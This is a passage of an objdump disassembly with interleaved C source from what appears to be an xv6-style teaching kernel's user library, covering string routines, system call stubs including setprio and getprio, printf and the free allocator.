(addr), "1" (cnt), "a" (data) : "memory", "cc"); } 95: 90 nop 96: 5b pop %ebx 97: 5f pop %edi 98: 5d pop %ebp 99: c3 ret 0000009a <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 9a: 55 push %ebp 9b: 89 e5 mov %esp,%ebp 9d: 83 ec 10 sub $0x10,%esp char *os; os = s; a0: 8b 45 08 mov 0x8(%ebp),%eax a3: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) a6: 90 nop a7: 8b 45 08 mov 0x8(%ebp),%eax aa: 8d 50 01 lea 0x1(%eax),%edx ad: 89 55 08 mov %edx,0x8(%ebp) b0: 8b 55 0c mov 0xc(%ebp),%edx b3: 8d 4a 01 lea 0x1(%edx),%ecx b6: 89 4d 0c mov %ecx,0xc(%ebp) b9: 0f b6 12 movzbl (%edx),%edx bc: 88 10 mov %dl,(%eax) be: 0f b6 00 movzbl (%eax),%eax c1: 84 c0 test %al,%al c3: 75 e2 jne a7 <strcpy+0xd> ; return os; c5: 8b 45 fc mov -0x4(%ebp),%eax } c8: c9 leave c9: c3 ret 000000ca <strcmp>: int strcmp(const char *p, const char *q) { ca: 55 push %ebp cb: 89 e5 mov %esp,%ebp while(*p && *p == *q) cd: eb 08 jmp d7 <strcmp+0xd> p++, q++; cf: 83 45 08 01 addl $0x1,0x8(%ebp) d3: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d7: 8b 45 08 mov 0x8(%ebp),%eax da: 0f b6 00 movzbl (%eax),%eax dd: 84 c0 test %al,%al df: 74 10 je f1 <strcmp+0x27> e1: 8b 45 08 mov 0x8(%ebp),%eax e4: 0f b6 10 movzbl (%eax),%edx e7: 8b 45 0c mov 0xc(%ebp),%eax ea: 0f b6 00 movzbl (%eax),%eax ed: 38 c2 cmp %al,%dl ef: 74 de je cf <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; f1: 8b 45 08 mov 0x8(%ebp),%eax f4: 0f b6 00 movzbl (%eax),%eax f7: 0f b6 d0 movzbl %al,%edx fa: 8b 45 0c mov 0xc(%ebp),%eax fd: 0f b6 00 movzbl (%eax),%eax 100: 0f b6 c0 movzbl %al,%eax 103: 29 c2 sub %eax,%edx 105: 89 d0 mov %edx,%eax } 107: 5d pop %ebp 108: c3 ret 00000109 <strlen>: uint strlen(char *s) { 109: 55 push %ebp 10a: 89 e5 mov %esp,%ebp 10c: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 10f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 116: eb 04 jmp 11c <strlen+0x13> 118: 83 45 fc 01 addl $0x1,-0x4(%ebp) 11c: 8b 55 fc mov -0x4(%ebp),%edx 11f: 8b 45 08 mov 0x8(%ebp),%eax 122: 01 d0 add %edx,%eax 124: 0f b6 00 movzbl (%eax),%eax 127: 84 c0 test %al,%al 129: 75 ed jne 118 <strlen+0xf> ; return n; 12b: 8b 45 fc mov -0x4(%ebp),%eax } 12e: c9 leave 12f: c3 ret 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp stosb(dst, c, n); 133: 8b 45 10 mov 0x10(%ebp),%eax 136: 50 push %eax 137: ff 75 0c pushl 0xc(%ebp) 13a: ff 75 08 pushl 0x8(%ebp) 13d: e8 32 ff ff ff call 74 <stosb> 142: 83 c4 0c add $0xc,%esp return dst; 145: 8b 45 08 mov 0x8(%ebp),%eax } 148: c9 leave 149: c3 ret 0000014a <strchr>: char* strchr(const char *s, char c) { 14a: 55 push %ebp 14b: 89 e5 mov %esp,%ebp 14d: 83 ec 04 sub $0x4,%esp 150: 8b 45 0c mov 0xc(%ebp),%eax 153: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 156: eb 14 jmp 16c <strchr+0x22> if(*s == c) 158: 8b 45 08 mov 0x8(%ebp),%eax 15b: 0f b6 00 movzbl (%eax),%eax 15e: 3a 45 fc cmp -0x4(%ebp),%al 161: 75 05 jne 168 <strchr+0x1e> return (char*)s; 163: 8b 45 08 mov 0x8(%ebp),%eax 166: eb 13 jmp 17b <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 168: 83 45 08 01 addl $0x1,0x8(%ebp) 16c: 8b 45 08 mov 0x8(%ebp),%eax 16f: 0f b6 00 movzbl (%eax),%eax 172: 84 c0 test %al,%al 174: 75 e2 jne 158 <strchr+0xe> if(*s == c) return (char*)s; return 0; 176: b8 00 00 00 00 mov $0x0,%eax } 17b: c9 leave 17c: c3 ret 0000017d <gets>: char* gets(char *buf, int max) { 17d: 55 push %ebp 17e: 89 e5 mov %esp,%ebp 180: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 183: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 18a: eb 42 jmp 1ce <gets+0x51> cc = read(0, &c, 1); 18c: 83 ec 04 sub $0x4,%esp 18f: 6a 01 push $0x1 191: 8d 45 ef lea -0x11(%ebp),%eax 194: 50 push %eax 195: 6a 00 push $0x0 197: e8 47 01 00 00 call 2e3 <read> 19c: 83 c4 10 add $0x10,%esp 19f: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1a2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1a6: 7e 33 jle 1db <gets+0x5e> break; buf[i++] = c; 1a8: 8b 45 f4 mov -0xc(%ebp),%eax 1ab: 8d 50 01 lea 0x1(%eax),%edx 1ae: 89 55 f4 mov %edx,-0xc(%ebp) 1b1: 89 c2 mov %eax,%edx 1b3: 8b 45 08 mov 0x8(%ebp),%eax 1b6: 01 c2 add %eax,%edx 1b8: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1bc: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1be: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1c2: 3c 0a cmp $0xa,%al 1c4: 74 16 je 1dc <gets+0x5f> 1c6: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1ca: 3c 0d cmp $0xd,%al 1cc: 74 0e je 1dc <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1ce: 8b 45 f4 mov -0xc(%ebp),%eax 1d1: 83 c0 01 add $0x1,%eax 1d4: 3b 45 0c cmp 0xc(%ebp),%eax 1d7: 7c b3 jl 18c <gets+0xf> 1d9: eb 01 jmp 1dc <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 1db: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1dc: 8b 55 f4 mov -0xc(%ebp),%edx 1df: 8b 45 08 mov 0x8(%ebp),%eax 1e2: 01 d0 add %edx,%eax 1e4: c6 00 00 movb $0x0,(%eax) return buf; 1e7: 8b 45 08 mov 0x8(%ebp),%eax } 1ea: c9 leave 1eb: c3 ret 000001ec <stat>: int stat(char *n, struct stat *st) { 1ec: 55 push %ebp 1ed: 89 e5 mov %esp,%ebp 1ef: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 1f2: 83 ec 08 sub $0x8,%esp 1f5: 6a 00 push $0x0 1f7: ff 75 08 pushl 0x8(%ebp) 1fa: e8 0c 01 00 00 call 30b <open> 1ff: 83 c4 10 add $0x10,%esp 202: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 205: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 209: 79 07 jns 212 <stat+0x26> return -1; 20b: b8 ff ff ff ff mov $0xffffffff,%eax 210: eb 25 jmp 237 <stat+0x4b> r = fstat(fd, st); 212: 83 ec 08 sub $0x8,%esp 215: ff 75 0c pushl 0xc(%ebp) 218: ff 75 f4 pushl -0xc(%ebp) 21b: e8 03 01 00 00 call 323 <fstat> 220: 83 c4 10 add $0x10,%esp 223: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 226: 83 ec 0c sub $0xc,%esp 229: ff 75 f4 pushl -0xc(%ebp) 22c: e8 c2 00 00 00 call 2f3 <close> 231: 83 c4 10 add $0x10,%esp return r; 234: 8b 45 f0 mov -0x10(%ebp),%eax } 237: c9 leave 238: c3 ret 00000239 <atoi>: int atoi(const char *s) { 239: 55 push %ebp 23a: 89 e5 mov %esp,%ebp 23c: 83 ec 10 sub $0x10,%esp int n; n = 0; 23f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 246: eb 25 jmp 26d <atoi+0x34> n = n*10 + *s++ - '0'; 248: 8b 55 fc mov -0x4(%ebp),%edx 24b: 89 d0 mov %edx,%eax 24d: c1 e0 02 shl $0x2,%eax 250: 01 d0 add %edx,%eax 252: 01 c0 add %eax,%eax 254: 89 c1 mov %eax,%ecx 256: 8b 45 08 mov 0x8(%ebp),%eax 259: 8d 50 01 lea 0x1(%eax),%edx 25c: 89 55 08 mov %edx,0x8(%ebp) 25f: 0f b6 00 movzbl (%eax),%eax 262: 0f be c0 movsbl %al,%eax 265: 01 c8 add %ecx,%eax 267: 83 e8 30 sub $0x30,%eax 26a: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 26d: 8b 45 08 mov 0x8(%ebp),%eax 270: 0f b6 00 movzbl (%eax),%eax 273: 3c 2f cmp $0x2f,%al 275: 7e 0a jle 281 <atoi+0x48> 277: 8b 45 08 mov 0x8(%ebp),%eax 27a: 0f b6 00 movzbl (%eax),%eax 27d: 3c 39 cmp $0x39,%al 27f: 7e c7 jle 248 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 281: 8b 45 fc mov -0x4(%ebp),%eax } 284: c9 leave 285: c3 ret 00000286 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 286: 55 push %ebp 287: 89 e5 mov %esp,%ebp 289: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 28c: 8b 45 08 mov 0x8(%ebp),%eax 28f: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 292: 8b 45 0c mov 0xc(%ebp),%eax 295: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 298: eb 17 jmp 2b1 <memmove+0x2b> *dst++ = *src++; 29a: 8b 45 fc mov -0x4(%ebp),%eax 29d: 8d 50 01 lea 0x1(%eax),%edx 2a0: 89 55 fc mov %edx,-0x4(%ebp) 2a3: 8b 55 f8 mov -0x8(%ebp),%edx 2a6: 8d 4a 01 lea 0x1(%edx),%ecx 2a9: 89 4d f8 mov %ecx,-0x8(%ebp) 2ac: 0f b6 12 movzbl (%edx),%edx 2af: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 2b1: 8b 45 10 mov 0x10(%ebp),%eax 2b4: 8d 50 ff lea -0x1(%eax),%edx 2b7: 89 55 10 mov %edx,0x10(%ebp) 2ba: 85 c0 test %eax,%eax 2bc: 7f dc jg 29a <memmove+0x14> *dst++ = *src++; return vdst; 2be: 8b 45 08 mov 0x8(%ebp),%eax } 2c1: c9 leave 2c2: c3 ret 000002c3 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2c3: b8 01 00 00 00 mov $0x1,%eax 2c8: cd 40 int $0x40 2ca: c3 ret 000002cb <exit>: SYSCALL(exit) 2cb: b8 02 00 00 00 mov $0x2,%eax 2d0: cd 40 int $0x40 2d2: c3 ret 000002d3 <wait>: SYSCALL(wait) 2d3: b8 03 00 00 00 mov $0x3,%eax 2d8: cd 40 int $0x40 2da: c3 ret 000002db <pipe>: SYSCALL(pipe) 2db: b8 04 00 00 00 mov $0x4,%eax 2e0: cd 40 int $0x40 2e2: c3 ret 000002e3 <read>: SYSCALL(read) 2e3: b8 05 00 00 00 mov $0x5,%eax 2e8: cd 40 int $0x40 2ea: c3 ret 000002eb <write>: SYSCALL(write) 2eb: b8 10 00 00 00 mov $0x10,%eax 2f0: cd 40 int $0x40 2f2: c3 ret 000002f3 <close>: SYSCALL(close) 2f3: b8 15 00 00 00 mov $0x15,%eax 2f8: cd 40 int $0x40 2fa: c3 ret 000002fb <kill>: SYSCALL(kill) 2fb: b8 06 00 00 00 mov $0x6,%eax 300: cd 40 int $0x40 302: c3 ret 00000303 <exec>: SYSCALL(exec) 303: b8 07 00 00 00 mov $0x7,%eax 308: cd 40 int $0x40 30a: c3 ret 0000030b <open>: SYSCALL(open) 30b: b8 0f 00 00 00 mov $0xf,%eax 310: cd 40 int $0x40 312: c3 ret 00000313 <mknod>: SYSCALL(mknod) 313: b8 11 00 00 00 mov $0x11,%eax 318: cd 40 int $0x40 31a: c3 ret 0000031b <unlink>: SYSCALL(unlink) 31b: b8 12 00 00 00 mov $0x12,%eax 320: cd 40 int $0x40 322: c3 ret 00000323 <fstat>: SYSCALL(fstat) 323: b8 08 00 00 00 mov $0x8,%eax 328: cd 40 int $0x40 32a: c3 ret 0000032b <link>: SYSCALL(link) 32b: b8 13 00 00 00 mov $0x13,%eax 330: cd 40 int $0x40 332: c3 ret 00000333 <mkdir>: SYSCALL(mkdir) 333: b8 14 00 00 00 mov $0x14,%eax 338: cd 40 int $0x40 33a: c3 ret 0000033b <chdir>: SYSCALL(chdir) 33b: b8 09 00 00 00 mov $0x9,%eax 340: cd 40 int $0x40 342: c3 ret 00000343 <dup>: SYSCALL(dup) 343: b8 0a 00 00 00 mov $0xa,%eax 348: cd 40 int $0x40 34a: c3 ret 0000034b <getpid>: SYSCALL(getpid) 34b: b8 0b 00 00 00 mov $0xb,%eax 350: cd 40 int $0x40 352: c3 ret 00000353 <sbrk>: SYSCALL(sbrk) 353: b8 0c 00 00 00 mov $0xc,%eax 358: cd 40 int $0x40 35a: c3 ret 0000035b <sleep>: SYSCALL(sleep) 35b: b8 0d 00 00 00 mov $0xd,%eax 360: cd 40 int $0x40 362: c3 ret 00000363 <uptime>: SYSCALL(uptime) 363: b8 0e 00 00 00 mov $0xe,%eax 368: cd 40 int $0x40 36a: c3 ret 0000036b <setprio>: SYSCALL(setprio) 36b: b8 16 00 00 00 mov $0x16,%eax 370: cd 40 int $0x40 372: c3 ret 00000373 <getprio>: SYSCALL(getprio) 373: b8 17 00 00 00 mov $0x17,%eax 378: cd 40 int $0x40 37a: c3 ret 0000037b <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 37b: 55 push %ebp 37c: 89 e5 mov %esp,%ebp 37e: 83 ec 18 sub $0x18,%esp 381: 8b 45 0c mov 0xc(%ebp),%eax 384: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 387: 83 ec 04 sub $0x4,%esp 38a: 6a 01 push $0x1 38c: 8d 45 f4 lea -0xc(%ebp),%eax 38f: 50 push %eax 390: ff 75 08 pushl 0x8(%ebp) 393: e8 53 ff ff ff call 2eb <write> 398: 83 c4 10 add $0x10,%esp } 39b: 90 nop 39c: c9 leave 39d: c3 ret 0000039e <printint>: static void printint(int fd, int xx, int base, int sgn) { 39e: 55 push %ebp 39f: 89 e5 mov %esp,%ebp 3a1: 53 push %ebx 3a2: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3a5: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 3ac: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 3b0: 74 17 je 3c9 <printint+0x2b> 3b2: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 3b6: 79 11 jns 3c9 <printint+0x2b> neg = 1; 3b8: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 3bf: 8b 45 0c mov 0xc(%ebp),%eax 3c2: f7 d8 neg %eax 3c4: 89 45 ec mov %eax,-0x14(%ebp) 3c7: eb 06 jmp 3cf <printint+0x31> } else { x = xx; 3c9: 8b 45 0c mov 0xc(%ebp),%eax 3cc: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3cf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 3d6: 8b 4d f4 mov -0xc(%ebp),%ecx 3d9: 8d 41 01 lea 0x1(%ecx),%eax 3dc: 89 45 f4 mov %eax,-0xc(%ebp) 3df: 8b 5d 10 mov 0x10(%ebp),%ebx 3e2: 8b 45 ec mov -0x14(%ebp),%eax 3e5: ba 00 00 00 00 mov $0x0,%edx 3ea: f7 f3 div %ebx 3ec: 89 d0 mov %edx,%eax 3ee: 0f b6 80 84 0a 00 00 movzbl 0xa84(%eax),%eax 3f5: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 3f9: 8b 5d 10 mov 0x10(%ebp),%ebx 3fc: 8b 45 ec mov -0x14(%ebp),%eax 3ff: ba 00 00 00 00 mov $0x0,%edx 404: f7 f3 div %ebx 406: 89 45 ec mov %eax,-0x14(%ebp) 409: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 40d: 75 c7 jne 3d6 <printint+0x38> if(neg) 40f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 413: 74 2d je 442 <printint+0xa4> buf[i++] = '-'; 415: 8b 45 f4 mov -0xc(%ebp),%eax 418: 8d 50 01 lea 0x1(%eax),%edx 41b: 89 55 f4 mov %edx,-0xc(%ebp) 41e: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 423: eb 1d jmp 442 <printint+0xa4> putc(fd, buf[i]); 425: 8d 55 dc lea -0x24(%ebp),%edx 428: 8b 45 f4 mov -0xc(%ebp),%eax 42b: 01 d0 add %edx,%eax 42d: 0f b6 00 movzbl (%eax),%eax 430: 0f be c0 movsbl %al,%eax 433: 83 ec 08 sub $0x8,%esp 436: 50 push %eax 437: ff 75 08 pushl 0x8(%ebp) 43a: e8 3c ff ff ff call 37b <putc> 43f: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 442: 83 6d f4 01 subl $0x1,-0xc(%ebp) 446: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 44a: 79 d9 jns 425 <printint+0x87> putc(fd, buf[i]); } 44c: 90 nop 44d: 8b 5d fc mov -0x4(%ebp),%ebx 450: c9 leave 451: c3 ret 00000452 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 452: 55 push %ebp 453: 89 e5 mov %esp,%ebp 455: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 458: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 45f: 8d 45 0c lea 0xc(%ebp),%eax 462: 83 c0 04 add $0x4,%eax 465: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 468: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 46f: e9 59 01 00 00 jmp 5cd <printf+0x17b> c = fmt[i] & 0xff; 474: 8b 55 0c mov 0xc(%ebp),%edx 477: 8b 45 f0 mov -0x10(%ebp),%eax 47a: 01 d0 add %edx,%eax 47c: 0f b6 00 movzbl (%eax),%eax 47f: 0f be c0 movsbl %al,%eax 482: 25 ff 00 00 00 and $0xff,%eax 487: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 48a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 48e: 75 2c jne 4bc <printf+0x6a> if(c == '%'){ 490: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 494: 75 0c jne 4a2 <printf+0x50> state = '%'; 496: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 49d: e9 27 01 00 00 jmp 5c9 <printf+0x177> } else { putc(fd, c); 4a2: 8b 45 e4 mov -0x1c(%ebp),%eax 4a5: 0f be c0 movsbl %al,%eax 4a8: 83 ec 08 sub $0x8,%esp 4ab: 50 push %eax 4ac: ff 75 08 pushl 0x8(%ebp) 4af: e8 c7 fe ff ff call 37b <putc> 4b4: 83 c4 10 add $0x10,%esp 4b7: e9 0d 01 00 00 jmp 5c9 <printf+0x177> } } else if(state == '%'){ 4bc: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 4c0: 0f 85 03 01 00 00 jne 5c9 <printf+0x177> if(c == 'd'){ 4c6: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 4ca: 75 1e jne 4ea <printf+0x98> printint(fd, *ap, 10, 1); 4cc: 8b 45 e8 mov -0x18(%ebp),%eax 4cf: 8b 00 mov (%eax),%eax 4d1: 6a 01 push $0x1 4d3: 6a 0a push $0xa 4d5: 50 push %eax 4d6: ff 75 08 pushl 0x8(%ebp) 4d9: e8 c0 fe ff ff call 39e <printint> 4de: 83 c4 10 add $0x10,%esp ap++; 4e1: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4e5: e9 d8 00 00 00 jmp 5c2 <printf+0x170> } else if(c == 'x' || c == 'p'){ 4ea: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 4ee: 74 06 je 4f6 <printf+0xa4> 4f0: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 4f4: 75 1e jne 514 <printf+0xc2> printint(fd, *ap, 16, 0); 4f6: 8b 45 e8 mov -0x18(%ebp),%eax 4f9: 8b 00 mov (%eax),%eax 4fb: 6a 00 push $0x0 4fd: 6a 10 push $0x10 4ff: 50 push %eax 500: ff 75 08 pushl 0x8(%ebp) 503: e8 96 fe ff ff call 39e <printint> 508: 83 c4 10 add $0x10,%esp ap++; 50b: 83 45 e8 04 addl $0x4,-0x18(%ebp) 50f: e9 ae 00 00 00 jmp 5c2 <printf+0x170> } else if(c == 's'){ 514: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 518: 75 43 jne 55d <printf+0x10b> s = (char*)*ap; 51a: 8b 45 e8 mov -0x18(%ebp),%eax 51d: 8b 00 mov (%eax),%eax 51f: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 522: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 526: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 52a: 75 25 jne 551 <printf+0xff> s = "(null)"; 52c: c7 45 f4 2f 08 00 00 movl $0x82f,-0xc(%ebp) while(*s != 0){ 533: eb 1c jmp 551 <printf+0xff> putc(fd, *s); 535: 8b 45 f4 mov -0xc(%ebp),%eax 538: 0f b6 00 movzbl (%eax),%eax 53b: 0f be c0 movsbl %al,%eax 53e: 83 ec 08 sub $0x8,%esp 541: 50 push %eax 542: ff 75 08 pushl 0x8(%ebp) 545: e8 31 fe ff ff call 37b <putc> 54a: 83 c4 10 add $0x10,%esp s++; 54d: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 551: 8b 45 f4 mov -0xc(%ebp),%eax 554: 0f b6 00 movzbl (%eax),%eax 557: 84 c0 test %al,%al 559: 75 da jne 535 <printf+0xe3> 55b: eb 65 jmp 5c2 <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 55d: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 561: 75 1d jne 580 <printf+0x12e> putc(fd, *ap); 563: 8b 45 e8 mov -0x18(%ebp),%eax 566: 8b 00 mov (%eax),%eax 568: 0f be c0 movsbl %al,%eax 56b: 83 ec 08 sub $0x8,%esp 56e: 50 push %eax 56f: ff 75 08 pushl 0x8(%ebp) 572: e8 04 fe ff ff call 37b <putc> 577: 83 c4 10 add $0x10,%esp ap++; 57a: 83 45 e8 04 addl $0x4,-0x18(%ebp) 57e: eb 42 jmp 5c2 <printf+0x170> } else if(c == '%'){ 580: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 584: 75 17 jne 59d <printf+0x14b> putc(fd, c); 586: 8b 45 e4 mov -0x1c(%ebp),%eax 589: 0f be c0 movsbl %al,%eax 58c: 83 ec 08 sub $0x8,%esp 58f: 50 push %eax 590: ff 75 08 pushl 0x8(%ebp) 593: e8 e3 fd ff ff call 37b <putc> 598: 83 c4 10 add $0x10,%esp 59b: eb 25 jmp 5c2 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 59d: 83 ec 08 sub $0x8,%esp 5a0: 6a 25 push $0x25 5a2: ff 75 08 pushl 0x8(%ebp) 5a5: e8 d1 fd ff ff call 37b <putc> 5aa: 83 c4 10 add $0x10,%esp putc(fd, c); 5ad: 8b 45 e4 mov -0x1c(%ebp),%eax 5b0: 0f be c0 movsbl %al,%eax 5b3: 83 ec 08 sub $0x8,%esp 5b6: 50 push %eax 5b7: ff 75 08 pushl 0x8(%ebp) 5ba: e8 bc fd ff ff call 37b <putc> 5bf: 83 c4 10 add $0x10,%esp } state = 0; 5c2: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5c9: 83 45 f0 01 addl $0x1,-0x10(%ebp) 5cd: 8b 55 0c mov 0xc(%ebp),%edx 5d0: 8b 45 f0 mov -0x10(%ebp),%eax 5d3: 01 d0 add %edx,%eax 5d5: 0f b6 00 movzbl (%eax),%eax 5d8: 84 c0 test %al,%al 5da: 0f 85 94 fe ff ff jne 474 <printf+0x22> putc(fd, c); } state = 0; } } } 5e0: 90 nop 5e1: c9 leave 5e2: c3 ret 000005e3 <free>: static Header base; static Header *freep; void free(void *ap) { 5e3: 55 push %ebp 5e4: 89 e5 mov %esp,%ebp 5e6: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 5e9: 8b 45 08 mov 0x8(%ebp),%eax 5ec: 83 e8 08 sub $0x8,%eax 5ef: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5f2: a1 a0 0a 00 00 mov 0xaa0,%eax 5f7: 89 45 fc mov %eax,-0x4(%ebp) 5fa: eb 24 jmp 620 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5fc: 8b 45 fc mov -0x4(%ebp),%eax 5ff: 8b 00 mov (%eax),%eax 601: 3b 45 fc cmp -0x4(%ebp),%eax 604: 77 12 ja 618 <free+0x35> 606: 8b 45 f8 mov -0x8(%ebp),%eax 609: 3b 45 fc cmp -0x4(%ebp),%eax 60c: 77 24 ja 632 <free+0x4f> 60e: 8b 45 fc mov -0x4(%ebp),%eax 611: 8b 00 mov (%eax),%eax 613: 3b 45 f8 cmp -0x8(%ebp),%eax 616: 77 1a ja 632 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 618: 8b 45 fc mov -0x4(%ebp),%eax 61b: 8b 00 mov (%eax),%eax 61d: 89 45 fc mov %eax,-0x4(%ebp) 620: 8b 45 f8 mov -0x8(%ebp),%eax 623: 3b 45 fc cmp -0x4(%ebp),%eax 626: 76 d4 jbe 5fc <free+0x19> 628: 8b 45 fc mov -0x4(%ebp),%eax 62b: 8b 00 mov (%eax),%eax 62d: 3b 45 f8 cmp -0x8(%ebp),%eax 630: 76 ca jbe 5fc <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 632: 8b 45 f8 mov -0x8(%ebp),%eax 635: 8b 40 04 mov 0x4(%eax),%eax 638: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 63f: 8b 45 f8 mov -0x8(%ebp),%eax 642: 01 c2 add %eax,%edx 644: 8b 45 fc mov -0x4(%ebp),%eax 647: 8b 00 mov (%eax),%eax 649: 39 c2 cmp %eax,%edx 64b: 75 24 jne 671 <free+0x8e> bp->s.size += p->s.ptr->s.size; 64d: 8b 45 f8 mov -0x8(%ebp),%eax 650: 8b 50 04 mov 0x4(%eax),%edx 653: 8b 45 fc mov -0x4(%ebp),%eax 656: 8b 00 mov (%eax),%eax 658: 8b 40 04 mov 0x4(%eax),%eax 65b: 01 c2 add %eax,%edx 65d: 8b 45 f8 mov -0x8(%ebp),%eax 660: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 663: 8b 45 fc mov -0x4(%ebp),%eax 666: 8b 00 mov (%eax),%eax 668: 8b 10 mov (%eax),%edx 66a: 8b 45 f8 mov -0x8(%ebp),%eax 66d: 89 10 mov %edx,(%eax) 66f: eb 0a jmp 67b <free+0x98> } else bp->s.ptr = p->s.ptr; 671: 8b 45 fc mov -0x4(%ebp),%eax 674: 8b 10 mov (%eax),%edx 676: 8b 45 f8 mov -0x8(%ebp),%eax 679: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 67b: 8b 45 fc mov -0x4(%ebp),%eax 67e: 8b 40 04 mov 0x4(%eax),%eax 681: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 688: 8b 45 fc mov -0x4(%ebp),%eax 68b: 01 d0 add %edx,%eax 68d: 3b 45 f8 cmp -0x8(%ebp),%eax 690: 75 20 jne 6b2 <free+0xcf> p->s.size += bp->s.size; 692: 8b 45 fc mov -0x4(%ebp),%eax 695: 8b 50 04 mov 0x4(%eax),%edx 698: 8b 45 f8 mov -0x8(%ebp),%eax 69b: 8b 40 04 mov 0x4(%eax),%eax 69e: 01 c2 add %eax,%edx 6a0: 8b 45 fc mov -0x4(%ebp),%eax 6a3: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6a6: 8b 45 f8 mov -0x8(%ebp),%eax 6a9: 8b 10 mov (%eax),%edx 6ab: 8b 